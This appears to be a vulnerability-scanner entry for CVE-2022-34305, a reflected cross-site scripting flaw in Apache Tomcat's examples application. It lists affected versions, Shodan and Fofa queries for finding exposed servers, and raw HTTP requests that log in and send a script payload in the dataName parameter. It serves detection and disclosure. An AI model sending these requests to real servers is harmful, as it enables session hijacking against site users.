| Title | Apache Tomcat Examples Web Application - Cross-Site Scripting |
|---|---|
| Author | Sourabh-Sahu |
| Severity | Medium |
| Impact | Attackers can execute malicious scripts in victim browsers, leading to session hijacking, defacement, or redirection. |
| Remediation | Update to the latest version of Apache Tomcat where this issue is fixed. |
| CVSS Score | 6.1 |
| EPSS Score | 0.21613 |
| CVE ID | CVE-2022-34305 |
| CWE ID | CWE-79 |
| Shodan Query | cpe:"cpe:2.3:a:apache:tomcat"http.component:"apache tomcat" |
| Fofa Query | body="apache tomcat" |
| Tags | cve cve2022 xss apache tomcat authenticated vkev |
Apache Tomcat 8.5.50 to 8.5.81, 9.0.30 to 9.0.64, 10.0.0-M1 to 10.0.22, and 10.1.0-M1 to 10.1.0-M16 contain a reflected cross-site scripting caused by displaying unfiltered user data in the Form authentication example, letting attackers execute scripts in victim browsers, exploit requires attacker to craft malicious input.
GET /examples/jsp/security/protected/index.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Connection: close
Accept-Encoding: gzip
POST /examples/jsp/security/protected/j_security_check;jsessionid=KXi5Rp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 35
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
j_username=tGMJUw&j_password=cjNNjT
GET /examples/jsp/security/protected/index.jsp?dataName=%3Cscript%3Ealert(document.domain)%3C/script%3E&dataValue=demo HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-34305.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-34305.pcap
N/AN/A